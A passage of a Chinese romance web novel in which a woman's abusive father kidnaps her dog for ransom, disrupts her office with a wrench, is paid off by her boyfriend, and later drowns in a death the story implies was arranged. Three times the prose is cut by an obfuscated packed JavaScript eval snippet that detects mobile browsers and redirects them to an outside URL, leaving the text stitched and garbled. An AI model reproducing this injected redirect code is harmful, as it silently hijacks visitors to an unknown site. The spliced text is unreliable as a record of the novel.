直到踏入小区大门,看到值守严谨的保安后,紧绷的神经才稍稍松弛。 这里毕竟是富人小区安保严密,外人根本无法随意进入,她料定对方不敢跟进来。 田妙妙回头望去,那黑影似是察觉她的注视,转身快步消失在夜色里。田妙妙始终没看清对方模样,也无法确定,那人是否真的冲着自己而来。 没过多久,池修白的视频再次打过来。 “刚才怎么突然挂了?” “遇到个怪人,感觉被跟踪了。” “有没有受伤?现在在哪?” “我没事,已经到家了。”田妙妙顿了顿,随口猜测,“会不会是你的私生粉?看身形是个男的。” 她下意识将此事归咎于池修白,毕竟他在游戏圈颇有名气。 “若跟我有关,为何不跟踪我,只跟踪你?” “说不定是极端粉丝,查到你的住址,顺带发现了我。” “不排除这个可能。我会跟物业打招呼加强安保,你近期别出小区遛狗了。” “好。” 接下来几日,田妙妙与池修白同步上下班,减少外出,再没遇见那道黑影,生活看似回归平静。 周末这天,田妙妙带着萨摩耶雪球,参加宠友群组织的公园聚会。 公园离她住的地方,步行仅需十分钟,她便没开车。 散场回家途中,她突然腹痛难忍,便将雪球拴在公厕旁的路灯柱上,匆匆进去方便。 不过短短五分钟,出来时,雪球竟不见了踪影。 田妙妙如坠冰窟,浑身控制不住地发抖。 这一带治安向来良好,从未有过偷狗、毒狗的恶性事件,她才敢短暂离开。 万万没想到,还是被人钻了空子。 刹那间,几天前那道跟踪她的黑影闪过脑海——直觉告诉她,带走雪球的,一定是那个人! 她正要报警,手机突然响起陌生来电,归属地竟是她的老家。 田妙妙眉心骤拧,不祥的预感席卷全身。 她颤抖着按下接听键,电话那头,传来熟悉到令她作呕的声音。 “别以为你能躲老子一辈子!偷了我的钱,跑大城市享清福?没门!你养的小畜生在我手里,想要它活命……” 听筒里传来雪球惊恐的吠叫,紧接着是粗暴的踢打声,夹杂着田建军污秽的咒骂。 “你想干什么?!”田妙妙失声惊呼。 “带钱来赎它!你当初偷了我五万块,现在十倍奉还,五十万!” “我才工作半年,根本拿不出这么多!” “找你男人要啊!住这么豪华的小区,开着好车,会拿不出五十万?” “他的钱不归我管,都在他老婆手里,等离婚才能分到。”田妙妙急中生智,试图忽悠对方,“我半年只攒了三万多,最多再凑两万,给你五万,就当还当初的钱,你把狗还我,立刻离开S市。” “放屁!三万块够干什么?没钱就去借!五万就想打发我,做梦!” “我在这无亲无故,最多凑出五万。你不同意,干脆把狗杀了,我一分钱也不会给,大不了再买一条。” 田建军沉默片刻,心里盘算着田妙妙的提议。 他本计划最少敲她十万,五万虽少,但是田妙妙这妮子性情刚烈,又是个顶没良心的,真给她逼急了恐怕真的不管狗的死活。在他眼里,狗不过是畜生,远没有钱重要。 “行,五万就五万!现在去银行取钱,敢报警,就等着给狗收尸!” “我可以不报警,但你拿到钱必须走。要是赖着不走继续纠缠,我就跟你鱼死网破!” “放心,我才不稀罕待在这破地方,消费高得离谱,还没家里舒服。” 挂了电话,田妙妙直奔银行取钱。 期途中她犹豫过是否告诉池修白,可田建军是她心底最不堪的伤疤,她不想让喜欢的人看见自己的狼狈,更坚信自己能独自解决。 她薪资不低,需要花钱的场合很少,池修白也经常给她发大额红包,五万块对她而言并不算难事。 取完钱,她联系田建军确认交接地点。 “钱准备好了,先告诉我狗是否安全,你拿到钱必须守约离开。” 田建军报出地址:“来这儿找我,我拿到钱再告诉你狗在哪。” 田妙妙咬牙赴约。 田妙妙带着钱来到他提供的地址,远远看见田建军佝偻着背,衣衫破旧,浑身散发着落魄的戾气,像一条苟且偷生的野狗。 她强压着嫌恶走近,厉声质问:“狗在哪?” 田建军上下打量着她,眼前的田妙妙妆容精致、衣着得体,早已是光鲜的都市丽人,与记忆里的青涩模样判若两人。 “钱呢?”田建军像个地痞流氓一样伸手。 他身上还带着宿醉过后的酸臭味,一开口,难闻的口气飘了老远。 田妙妙皱了皱眉头。 “先告诉我狗的位置。” “见了亲爹不关心死活,只惦记狗?我和狗,谁是你爹?” “你连狗都不如。”田妙妙冷声道。 “草!”田建军恼羞成怒,扬手就要扇她。 田妙妙梗着脖子,毫不避让:“你敢打,一分钱都别想拿到。” 田建军悻悻收手,他本就是为钱而来,没必要逞一时之快。他瞥见她挎包里鼓囊囊的现金,一把抢了过去,拆开包装确认是厚厚一沓钞票,浑浊的眼中瞬间露出贪婪的光。 “狗呢?” 田建军摆摆手:“就绑在之前的公厕柱子上。” “你什么时候走?我要看着你坐上高铁。” “我得喝顿酒再走,不能白来一趟。” 田妙妙心系雪球,无暇多做纠缠,只能放狠话:“你最好守信离开,否则,我不介意让警察知道我弟是怎么死的。” “呵,真当老子怕你啊,你爱告就告,没证据的事,警察根本不管。”田建军不屑嗤笑。 田妙妙不再多言,转身狂奔回公厕。雪球果然被拴在原地,受了惊吓,蜷缩成一团瑟瑟发抖。见到主人,立刻扑进她怀里委屈呜咽。 田妙妙瞬间红了眼眶,泪水滑落——心疼的是狗,更是深陷泥潭、无法挣脱的自己。 最想摆脱的恶魔去而复返,她原本平静的生活,还能回到从前吗? 未知的恐惧,像一张密不透风的网,将她牢牢困住。 夜里温存过后,池修白慵懒地摩挲着她的耳尖,语气带着餍足:“今晚心不在焉的,走神好几次。” 每次被他发现,便猛地用力,才能让她回神。 田妙妙强装镇定:“可能最近太累了。” “二测在即,确实辛苦。等忙完,带你出国散心。” “去哪?” “GDC,你之前不是一直想去?正好收到邀请函。” GDC全称是GameDevelopersConference,全球游戏开发者大会,是游戏圈最为权威,规模最大的行业峰会,被称为游戏技术与趋势的风向标。 “好啊。”田妙妙眼中闪过一丝光亮,随即又黯淡下去。 田建军的阴影如影随形,让她对一切都提不起兴趣。 “怎么了?快来大姨妈了?还是对我腻了?”池修白指尖轻挑,滑了下去。 她勉强笑了笑:“没有,就是困了。” “你有心事,而且是大事。”池修白一眼看穿。 “真没有。”她嘴硬。 池修白打趣:“难道是雪球聚会时出丑,让你没面子了?它是不是当众吃屎了?” 田妙妙被逗笑:“不准污蔑雪球。” “所以到底怎么了?”池修白神情困倦,把她搂在怀里,双眼渐渐闭起来。 他这段时间工作挺忙的,睡眠严重不足,今晚发泄完一顿,浑身上下都疏懒困乏。 看着他眼下淡淡的青色,田妙妙下定决心要把这事藏在心底。她知道,自己一旦说出来,池修白绝不会坐视不理,必然会大包大揽,出面替她摆平这件事。 可田建军是个什么样的无赖,这么多年她比谁都清楚。她不想用自家烂事拖累他,田建军那样的烂人,根本不配池修白出手。 她依偎在他怀里轻声道:“是一点小麻烦,我能处理好,你相信我。” “好,每个人都有秘密。但要是解决不了,一定要告诉我,很多事没你想的那么难。” 虽说池修白有时候会挺大男子主义,但更多的是平等交流。 愿意放手给你做,但他也会替你兜底。 次日,田妙妙与田建军视频,确认他当前已经踏上了返乡的高铁,才彻底松了口气。 五万块钱,就当花钱消灾,从此两不相欠。 她拉黑了田建军的所有联系方式,日子再度回归平静,仿佛那场风波从未发生。 可她不懂,给一个酗酒赌徒钱,如同喂饱饿狼,只会催生对方更贪婪的欲望。 就在她快要淡忘此事时,田建军竟再次出现在S市。 虽说联系方式被拉黑了,但他之前就已经摸清田妙妙的住址,这次找上她可以说是易如反掌。 这天,田妙妙与池修白下班回家,车子驶入小区的瞬间,她敏锐察觉到一道灼热的视线。 抬眼望向车窗外,田建军的身影赫然映入眼帘。 田妙妙浑身汗毛倒竖,脸色瞬间惨白——他居然又来了! 心慌意乱之际,根本无法思考,她快速移回视线,正襟危坐,竭力掩饰眼底的慌乱。 池修白侧头看她:“刚问你话呢,没听见?” “啊?你说什么?”她恍神应答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329720|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晚上想吃什么?” “随便,不饿。”突生变故,她早已胃口全无。 “那吃你做的饭。” “好……你想吃什么?” “酸甜口的。” “那做糖醋里脊。” 回到家,田妙妙躲进厨房,颤抖着将田建军移出黑名单,发信息质问他为什么又来了。 田建军的回复蛮横又无赖:别废话,拿十万块来。 田妙妙:上次五万已是我全部积蓄,足够你在农村花好几年。 田建军:钱被人坑光了。 田妙妙:那你去找警察,别来找我。 田建军:警察能给我钱?我不找你找谁! 田妙妙:你去死! 田建军:咒我死?死前也得拉着你,一家人阴间团圆! 田妙妙:我不会再给你一分钱。 田建军:别给脸不要脸!不给钱,我就去你单位闹,把你和他的事捅出去,再找他老婆对峙,让你身败名裂!上次拿到钱我立马就走,这次也一样! 田妙妙心凉彻骨:你做梦!上次是我天真,以为能花钱了事,却忘了你就是喂不饱的饿鬼! 田建军:不给是吧?你等着,我说到做到! 田妙妙再次拉黑他,心底只剩绝望与恨意。如果他敢去工作室闹她,她就毫不犹豫地报警。 一味的退让,只会让田建军变本加厉,肆无忌惮地拿捏她,问她要钱。 田建军是血缘至亲,却像甩不掉的恶鬼,除非死亡,否则永远纠缠不休。 要是他能死掉就好了,或者被关进监狱…… 她看向橱柜里寒光闪闪的刀具,眼神逐渐变得冰冷。危险的念头一旦生根,便如藤蔓疯狂疯长,再也无法遏制。 怎样才能神不知鬼不觉地除掉他?最好能诱导他自寻死路、触犯法律,她绝不能为了这样的人,赔上自己的一生。 就在她深陷思绪时,池修白悄无声息走进厨房,从身后轻轻拥住她。 田妙妙毫无察觉,直到他的声音响起:“在看什么,这么入神?” 她猛地回神,慌忙锁掉手机:“没什么。” 池修白:“虽然我不屑于翻你手机,但你这个样子,看起来很心虚,让我不得不怀疑,里面藏了什么见不得人的东西。” 田妙妙干脆解锁手机递过去:“你随便看。” 池修白接过,看都没看便息屏归还:“我信你。你有我,怎么可能看得上别人。” “那当然。”田妙妙会心一笑,转而反问,“那你敢让我查你手机吗?” 池修白微微挑眉,唇角上扬:“有什么不敢。” 他从口袋掏出手机,也没解锁,直接递过去。 田妙妙按下右侧键,手机屏幕亮起,锁屏壁纸是田妙妙的照片。 准确的说,是她想销毁的丑照。 那天他们一起在书房办公,她中途犯困,就趴着睡了一觉,奈何睡相不佳,嘴巴微张,还流了一点口水,被池修白给拍下来了。 她让他删掉,他偏不删,说很好看,还把照片设成了壁纸。 真是无语。 田妙妙咬牙切齿:“你要气死我不成,给你三秒钟把壁纸换了。” 池修白轻笑起来:“你好霸道哦,我的手机,我爱用什么壁纸,就用什么。” “你侵犯了我的肖像权。” “没有商用,没有公开,不算。” 见他油盐不进,田妙妙叹气:“万一被别人看到了呢,比如你去开会或者谈合作什么的,手机屏幕突然亮了,多尴尬啊。” “有什么好尴尬的?” “别人要问你屏幕上的人是谁呢?” “如实回答,就说是我女朋友啊。” 这话让田妙妙心头一暖,她不再计较壁纸的事,她指着锁屏界面,道:“我都不知道你的密码。” 池修白:“你输几个试试。” 田妙妙输入池修白的生日,不对。输入自己的生日,也不对。 田妙妙有点失望,小声嘟囔:“还以为你会把我的生日设置成密码呢。” 池修白:“再猜。” 田妙妙接着试了六个六,以及六个八,全都不对。 “我真不知道了。” 试遍常用密码都无果后,田妙妙干脆对着他的脸面容解锁。 “耍小聪明。”池修白轻笑,“密码是我们第一次见面的日子。你还能记得你哪天面试的吗?” 田妙妙尴尬地笑了下:“我记不清了……” 池修白哼声:“我就知道。” 田妙妙指尖悬在微信图标上面,故作威胁道:“我真点开了啊。” “点吧。” 田妙妙手指动了动,最终还是收回了手:“算了,我也不稀罕查你手机。” 成年人该有各自的隐私空间,她不想变得患得患失,搞得自己跟个怨妇似的。 她把手机还回去,轻轻推开他:“不闹了,我要做饭了。” “查微信我根本不担心,其实我最紧张的是你翻相册,删我拍的照片。” 这话瞬间提醒了田妙妙,她伸手去抢:“快给我,我必须删掉!” “不给。”池修白笑着闪身躲开,拿着手机跑远了。 58. 第 58 章 田妙妙照旧上班。 工作室所在的写字楼门禁森严、安保严密,她本以为田建军绝无可能找到这里,就算找到,也根本进不来。 可她还是低估了此人的无耻程度。 田建军天生擅长坑蒙拐骗,竟提前几日刻意接近保安,混熟脸后套出她所在楼层,随后扛着伸缩梯、伪装成维修人员,骗过安保,顺利潜入。 三日后,他乔装来到七楼时,田妙妙竟毫无防备。 她以为他只会在楼下大吵大闹逼她出面,万万没料到,他已悄无声息摸到办公区门口。 工作室设有独立门禁。 但田建军一身维修工打扮,再加上前几日茶水间灯确实故障,前台小妹毫无怀疑,直接放行。 直到他甩开梯子、扔开工具箱,厉声开口:“田妙妙在不在?” 前台才骤然警觉,对方语气凶戾,全然不像维修人员。 “你是谁?不是来修灯的吗?” “我是她爹,把人给我叫出来。” 前台眉头紧锁,对眼前陌生怪异的男人,又是惊惧,又是嫌恶。 眼前这人的穷,并非朴实困顿,而是穷凶极恶、满身戾气,是城市里极少见到的粗鄙与危险。 “如果你不是修理工,就请你出去。”前台小妹礼貌地说。 她心里有点发怵,自己一时不察,竟然让这种人混了进来,也不知道写字楼的安保为什么会有这种疏漏。 “你是不是听不懂人话,我让你把田妙妙喊出来。” “请你不要再这里吵闹好吗?”她强作镇定,指尖已悄悄拨通保安室电话。 田建军见状,一把夺过话筒狠狠挂断。 “不叫是吧?我自己喊!我看她能躲到什么时候?” 他打开工具箱,摸出一把扳手。 前台吓得脸色发白,高声呼救:“来人啊!有人闹事!” “喊!尽管喊!”田建军面目狰狞,猛地抡起扳手砸向桌面,“田妙妙,给老子滚出来!” 巨响震得空气发颤,前台小妹顿时吓得抱头蹲地,不敢再与他硬碰硬。 前台骚动很快引来同事围观。 田妙妙刚从洗手间出来,便听见两名外组的员工低声议论。 “你听见外面那人在骂什么吗?” “听着像是在找人。” “神经病啊,不会是来抓奸的吧?有好戏看了。” “应该不是,好像是谁爸爸。” “妈耶,到底什么事居然闹到工作室,这要是我爸,我真丢死了。” 她心头猛地一沉,手上水珠未干便匆匆往前台赶。 映入眼帘的,正是田建军撒泼发疯的模样。 羞耻与愤怒瞬间直冲天灵盖,她想逃,却无处可躲。 围观目光落在她身上,有好奇,有同情,也有隐晦的议论。 与此同时,会议室里。 持续的嘈杂让池修白眉峰紧蹙,语气不耐:“外面怎么回事?” 江弘深起身:“我去看看。” 片刻后,他推门而入,神色凝重,走到池修白身侧,俯身低声道:“是田妙妙的父亲,在前台闹事。” 江弘深深知两人的关系,他不敢随意处置,只能回来报告给池修白。 池修白听后当即起身,临出门前沉声对众人道:“你们留在这里,不许出去。” 他赶到前台时,走廊已围满看热闹的人,窃窃私语不绝于耳。 池修白脸色冰冷,目光扫过人群:“看什么看,立刻回去工作。” 老板威压之下,众人悻悻散去。 争执中险些动手的父女俩,听到他的声音后,暂且安静下来,同时看向他。 田妙妙看见他,眼眶一热,又羞又愧,只想让他避开。 田建军却一眼认出他,当即破口大骂:“原来你这姘头也在这儿!你老婆知道你在公司偷人吗?” 此话过于惊悚,刚散去的员工,按捺不住好奇心,又纷纷回头了。 更有甚者,招手让办公室其他人出来一起看。 田妙妙崩溃尖叫:“你闭嘴!” 她只恨手里没有一把刀,不能直接捅死田建军。 池修白上前一步,不动声色地将田妙妙往自己身后拉。 紧接着,看向前来闹事的不速之客。 他沉着脸,微眯起眼睛,眼眸中透着阴暗,气势冷肃,“你刚才说什么?” 田建军被他的气场震慑住,怂了一阵,想起手上还有家伙,立刻举起朝他扬了扬,同时也给自己壮胆。 他扬言:“我说你跟这个小/婊/子在公司……” 话音未落,池修白一拳狠狠砸在他脸上。 全场倒抽冷气。 他出手快准狠,周身戾气骤现,与平日随性的模样判若两人,无人敢上前阻拦。 “嘴巴放干净点。” 能直呼女儿为婊/子的父亲,实在没有尊重的必要。 田建军被打得眼前一黑,头冒金星,嘴里泛起腥甜的铁锈味。 等缓过劲来后,他恼羞成怒,举着手里的扳子就冲过来。 然而他的身体早就被常年的酒肉掏空了,动作虚浮,对上池修白,无异于以卵击石。 田建军手里的扳手形同虚设,池修白直接反手擒拿,将他手臂狠狠拧到背后,扳手哐当一声落地。 田建军疼得大呼小叫,想挣扎,却被压制得死死的,动弹不得。 只剩口中污言秽语不断:“你们两个奸夫/淫/妇,不知廉耻,竟敢殴打长辈,实在不得好死!” 田妙妙忍无可忍,冲上去,对着田建军的脸,左右开弓,狂扇了七八个巴掌。 “我叫你闭嘴!” 田建军的辱骂对她而言,犹如家常便饭,可一旦牵连到池修白,她怒火中烧,恨不得当即除之而后快。 田妙妙被仇恨蒙蔽了双眼,她捡起不远处掉落的扳手,抡起来就想往田建军的脑袋上砸。 刚砸下时,就被池修白眼疾手快地拦下。 “冷静点。” 扳手砸头,后果不堪设想。他不在乎田建军死活,却不能让田妙妙为此赔上一生。 由于分出一只手,对田建军的制服自然减弱,被他瞅准机会一个打挺,冲开他的钳制,并挥拳反打。 池修白偏头,来不及完全避开,田建军的拳头堪堪擦过他的面颊。 周围男同事见状一拥而上,将他死死按在地上。 田妙妙心疼不已,眼眶通红,上前询问:“你没事吧?疼不疼?” 池修白摇头:“没事。他真是你爸?” 田妙妙艰难点头,声音发颤:“我早已和他断绝关系,但还是被他找到了。对不起,是我连累了你。” “他是不是早就过来了?为什么不早点跟我说?” “对不起。”她低头,只顾道歉,眼眶里积蓄的泪珠滚滚落下。 “我不是怪你连累我,我就怪你不信任我。”池修白叹息,当着所有人的面,将田妙妙拥入怀里,轻轻抚摸她的后背。 这一动作,等于向围观人群,直接宣告两人关系。 周遭吸气声此起彼伏。 田妙妙在他怀里轻轻挣扎。 她内心正被巨大的不知所措裹挟着,她觉得对不起池修白,她爸来大闹工作室,将他的脸面放在地下踩,如果不是她,他这辈子都不会受到这样的羞辱和伤害。 她产生逃避心理,想和他了断,这样就能把对他的伤害降到最低。 池修白却紧紧拥着她,在她耳边轻语:“这个时候推开我,我会很没面子的。” 田妙妙终于不再挣扎,她轻轻哽咽:“对不起,对不起……” 除了道歉,她说不出别的话。可即便道歉,语言也难免苍白。 “这又不是你的错。” 池修白摸摸她的头,安抚好后,松开她,走到田建军面前。 田建军此刻正被好几个人按住,连叫骂的力气都耗尽了。 池修白垂眸,冷冷睥睨他:“你打算自己滚,还是闹到警察局?” “我要报警!”田建军此时已走投无路,不从他们身上弄到钱,他绝不肯善罢甘休。 他企图用报警来恐吓敲诈他们。 “行,这就报警。”池修白蹲下,拿出手机,当着田建军的面,按下110。 报警电话拨出的那一刻,田建军瞬间怂了。他身上还有儿子之死的陈年旧事,本就不清白,实在不想闹进局子里,连忙叫起来:“别报警!私了,私了。” 池修白立马掐了电话。 “把他带到小会议室。”池修白对下属简单吩咐了句。 两个人一左一右架着田建军的胳膊,拖着他往走廊尽头走。 热闹散了,人却没散,还一圈圈地围在走廊处,伸长脖子看向池修白和田妙妙二人。 池修白冷冷一记眼刀:“还不走?等着扣绩效?” 此话一出,威胁力拉满,众人恋恋不舍地离去。 偌大的前台,除了他和田妙妙,还剩下瑟瑟发抖的前台小妹。 池修白对前台说:“辛苦你了,今天先回去休息吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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田妙妙说:“他让我问你要钱,我就只能编一个理由骗他,说你结婚了,钱都在老婆那里,我根本要不到钱。” 池修白轻笑了声,无奈道:“你可把我害惨了,这下员工不知道要怎么传。” “抱歉啊……”田妙妙委屈道:“我也不知道他会来工作室闹啊。” “谁让你不给我钱,老子之前已经跟你说过,不给钱就来公司找你。” “怎么?你还有理了?”池修白冷冷地看过去。 田建军被他冰冷的,暗含警告的眼神堵住话语。 过了半晌,池修白切入正题:“说吧,你打算怎么私了?” 田建军:“当然是给钱私了。” 田妙妙忙说:“做梦。” 田建军:“我是问他要钱,轮不到你插嘴。” 池修白微微颔首,下巴一抬:“你要多少?” 田建军犹豫了一下,最终比出一根手指:“一百万。” 再多,估计对方就不乐意了。 田妙妙望向池修白,见他一副思索的样子,立刻反对道:“不行!他拿到钱只会去喝酒赌博,把钱赔个精光,之后还会再来纠缠!” “放屁,老子上次没去赌,是去投资做生意,被人骗了,投资你懂不懂?” “对你来说,投资和赌博没什么两样。都是贪财上瘾,以为自己能赢罢了。” 田建军不跟田妙妙多说,目光如炬地看着池修白,只要他一个点头,别说回去,就算让他跪下磕头他都愿意。 钱,就是他的爹,谁给他钱,谁就是他祖宗。 池修白打量田建军的目光透出冷漠和嫌恶,很难把这样一个毫无底线的赌徒,和坚韧向上的田妙妙联系起来。 “好,就按你说的来。” “不行。”田妙妙急声阻止。 池修白轻轻拍了拍她的手,示意安心。 他让人迅速开好支票,递到田建军面前。 对方一把抓过,两眼放光,连声保证:“我马上走,再也不来烦你们。” 打发走田建军后,田妙妙依旧不解又生气:“你明知道他是无底洞,为什么还要给?” 池修白淡淡一笑:“欲使其灭亡,先使其疯狂。” 他轻抚她发顶,语气轻柔笃定:“别生气,这点钱对我来说不算什么,只要能彻底帮你摆脱他,这钱就花得值。” 59. 第 59 章 田建军走后,田妙妙没有选择直接回办公室。 此刻,她不敢面对同事们的关怀和好奇。那些目光像细密的针,轻轻一戳,就能把她好不容易强撑起来的体面扎得粉碎。 她跟池修白说了声,在OA上发了调休流程,提前回去。 池修白看着她苍白憔悴的脸,心头细密一疼,伸手轻轻揉了揉她的发顶,语气笃定又温柔:“不用在乎任何人的看法,一切由我来承担。哪怕你不愿意继续在问天工作了,之后的去处,我也能帮你安排妥当。” 田妙妙点点头,鼻尖酸涩,眼眶微微泛红。他的话像一剂温和的安抚药,缓缓熨帖着她慌乱的心,可心底翻涌的委屈与难堪仍未散去,实在提不起半点笑意。 工作室的员工们此刻几乎是炸开了锅。 众人不敢在大群里八卦这件事,各种私下小群却如雨后春笋般冒出来,满屏消息刷得飞快,压根没人有心思认真办公,全都化身吃瓜达人,议论得热火朝天。 -田妙妙和白娘子居然在一起了?这也太出乎意料了。说实话,姜星我还能理解,但田妙妙…… -我一点也不意外啊,之前线下展会的时候,老板不就已经替她出手打人了吗?那个时候估计就已经在一起了吧。 -你们说老板是不是有对女员工下手的癖好啊? -妹子们,不要再幻想了好吗?跟谁在一起和你们一点关系也没有…… -也没人幻想好吧?大家也只是在探讨==! -田妙妙家庭这么复杂哎,白娘子到底看上她什么了? -脸和身材吧……男人,不都在乎这两样嘛…… -身材我同意,脸的话,感觉不如前任哎。 -我倒是觉得田妙妙的五官看起来更舒服耐看一些。 -可是她爸好恐怖…… -本人和家人还是分开看待比较好,田妙妙平时挺安静的,待人接物也很好,实在看不出来家庭情况居然这么糟糕。 -大家还记得陈驰之吗,我记得他不是挺喜欢田妙妙的嘛,这么看来突然离职很有内幕啊…… -被白娘子逼走的?啧啧……谁有更多内幕? -不至于,老板没那么小心眼吧? -那可说不准哦,万一恋爱脑发作,谁对田妙妙有好感,谁就被他弄走。 -@张堃,你小心一点。 -别@我了,我已经道心破碎,断情绝爱中…… 顾念瑶今天恰好请假,没看到田建军来工作室闹事的场景,等裴文山跟她讲完来龙去脉,她急得不行,立刻拨通田妙妙的电话。 “你现在怎么样?” 田妙妙已经回到了家,窝在沙发里,声音轻得发飘:“没事。” “听你这语气,完全不像没事的样子啊。”顾念瑶满是担忧,“我真没想到你爸居然是那样的人,要是我在现场,高低也要上前帮你踹两脚,替你出出气。” “谢谢,我有点累了。”田妙妙有气无力地回复。 顾念瑶:“要不出来玩吧?我怕你一个人在家憋着,会钻牛角尖出事。” 田妙妙:“不会有事的,还有雪球陪我呢。” 顾念瑶:“那你就当陪陪我吧,我最近压力大,想出去放松一下,你不来我就一个人去了啊。” “好吧。”田妙妙终究不忍拒绝好友的好意。 顾念瑶当即给田妙妙发了个高级洗浴套餐,特色搓澡、肩背按摩、私人影厅、豪华自助餐一应俱全。 田妙妙简单收拾好更换的衣物,出门赴约。 顾念瑶看见她,立刻上前亲昵地抱住她胳膊,语气坚定:“妙妙,不管发生什么事,我永远站在你这边。” 田妙妙勉强扯出一抹笑:“谢谢你,说实话,我爸来工作室大闹一通后,我都没脸回去上班了。” “理解理解,不过你也别一时冲动就离职。”顾念瑶耐心劝道,“可以先请个长假,出去散散心,等调节好心情再回去,到时候大家的注意力早就被其他事吸走了,谁还会一直盯着这事不放。” 这倒是个稳妥的提议,田妙妙紧绷的心情稍微轻松了些。 两人一同去往洗浴中心,冲完澡换上宽松浴衣,技师专业的按摩力道恰到好处,按散了她浑身的疲惫,也慢慢抚平了那些痛苦内耗的情绪。 等技师离开后,两人躺靠在包厢的按摩椅上,一边喝着冰镇果汁,一边慢悠悠看着经典怀旧电影。 顾念瑶又加了一项足疗,田妙妙实在接受不来陌生人替她捏脚,便没跟着点。 顾念瑶舒服地喟叹一声:“感觉怎么样?是不是很舒服?我第一次和别人来的时候,简直像打开了新世界大门,不得不说,这帮男的真会享受。” 田妙妙笑了一下,轻声附和:“你这也算帮我开眼了。” “人嘛,活得不要这么累,要多享受当下。”顾念瑶晃着脚丫,传授着自己的人生经验,“想得太多太远,除了加重内耗,别的什么也得不到。你现在和白boss在一起,有人护着,还担心那么多干什么?” “在一起也是暂时的,以后的事谁能说的准呢。”田妙妙望着投影幕布,眼神黯淡。 “哈哈,在一起的时候不好好享受,却总担心分手之后的事,等真的分手了,只会更加后悔当初怎么什么都没做。”顾念瑶满不在乎地摆手,“你像我,根本不care什么时候和裴文山分手,反正在一起的时候把想做的事做完,不留遗憾就行。” 田妙妙望着她洒脱的模样,由衷道:“好羡慕你的心态,我总是会想很多,还总从一开始就预设不好的结果。” “你这就是自寻烦恼,太在乎得失,也太在乎别人的看法。”顾念瑶一针见血,“就比如你爸来闹完,你就不敢回去上班,除了觉得丢人,恐怕还觉得自己连累了白boss,不敢面对别人对你俩的议论,对不对?” “嗯,你说的都对。”田妙妙轻叹,“可道理都懂,就是不知道怎么调整。” “根本不需要刻意调整,学着不在乎就行了。”顾念瑶拍了拍她的肩膀,神色飞扬地鼓舞她:“你爽你的,别人爱怎么想就怎么想,只要不当你面说,你就全当不知道。现在谁这么没眼色,会当面议论别人的私事?” “你会因为觉得配不上一个人,而产生干脆放弃的念头吗?”田妙妙轻声问。 “只有又傻又犟的人,才会放弃。”顾念瑶嗤笑一声,“要是男人高攀上白富美,恨不得死死攥着不松手,甚至还想软饭硬吃。” “我总不能跟那种人比较。” “不是让你学他们的做法,是学他们的心态。”顾念瑶认真道,“你又没坑蒙拐骗、死缠烂打,只是和一个优秀多金的男人正常谈恋爱,也没想着把人家的家产据为己有,至于别人怎么说,要么是嫉妒,要么是闲得发慌,根本不用往心里去。” “我就是害怕别人看不起我,觉得我现在拥有的一切都是靠男人,或者悄悄拿我和姜星比较。” “这种人就更不用理会,又low又酸。”顾念瑶撇撇嘴,“再说了,问天只是个游戏工作室,又不是什么体制内,这点议论根本影响不了什么,既耽误不了游戏开发,也影响不了你和白boss的事业和感情,何必给自己找不痛快。” “也是,好像确实没什么影响。”田妙妙渐渐释然。 “对啊,所以就把这事当个屁放了。” 田妙妙的手机铃声突然响起,清脆的铃声在安静的包厢里格外清晰。 顾念瑶一脸戏谑地挑眉,挤眉弄眼:“哇哦,这是查岗来了?” 来电显示赫然是池修白。田妙妙羞臊地轻点下头,脸颊微微发烫。 她看了眼时间,早已过了下班点,想必是池修白回到家没看到她,才着急打来电话。 田妙妙深吸一口气,接通电话。 “你去哪了?”池修白的语气里带着不易察觉的焦急,还有一丝紧绷。 “她跟我在一块呢!”顾念瑶凑到手机旁,故意大声喊道。 电话那头的池修白悬着的心瞬间落地,他刚才回家不见人影,还以为田妙妙受不住刺激,选择离家出走,单方面和他分手呢。 田妙妙温声道:“我没事,你别担心。” “把定位发给我,我去接你们。”池修白的语气恢复平稳,却带着不容拒绝的强硬。 田妙妙犯难地看了顾念瑶一眼,她不太好意思把洗浴中心的定位发给池修白,毕竟这种放松休闲的地方,总觉得有些私密又尴尬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他沉浸在即将暴富的喜悦中,喝得酩酊大醉,满嘴胡话,得意忘形。 那天夜里,S市突降特大暴雨,河水暴涨,路面湿滑难行。 饭局散后,没人搭理田建军,更没人提出要送他回去。 田建军虽心中不满,但一想到对方马上要带他发财,心里头也就好受了些。 此时,他醉得东倒西歪,顶着狂风暴雨,踉踉跄跄地走在河边小路。 在踏过一个路面小水坑时,不慎踩到一块小石头,顿时扭了脚,整个人失去重心,一头摔进湍急的河里。 河水汹涌,瞬间将他吞没。 半小时后,田建军的八十万投资款再度回到池修白的账户下,连同他失足落水的消息,也一并传了过去。 池修白接到消息的时候,已是凌晨,田妙妙正窝在他怀中睡得正香。 屋外风雨交加,室内暗香浮动,空气静谧到有一丝诡异的寒意。 他低头轻吻一下田妙妙的额头,轻声说:“睡吧,不想见的人以后再也不会见到了。” 几天后,警方在下游河段打捞上一具遗体,通过核实死者身份信息,最终联系上了田妙妙。 接到电话那一刻,田妙妙整个人僵住,脑子一片空白。 她愣了很久,才缓缓反应过来——田建军死了,她的父亲死了。 他明明会游泳,绝不可能轻易溺亡,更不可能自杀。 可事到如今,人已经没了,再追究也没有意义。 那些年的怨恨、痛苦、挣扎,随着一条生命的消失,突然变得无处安放。 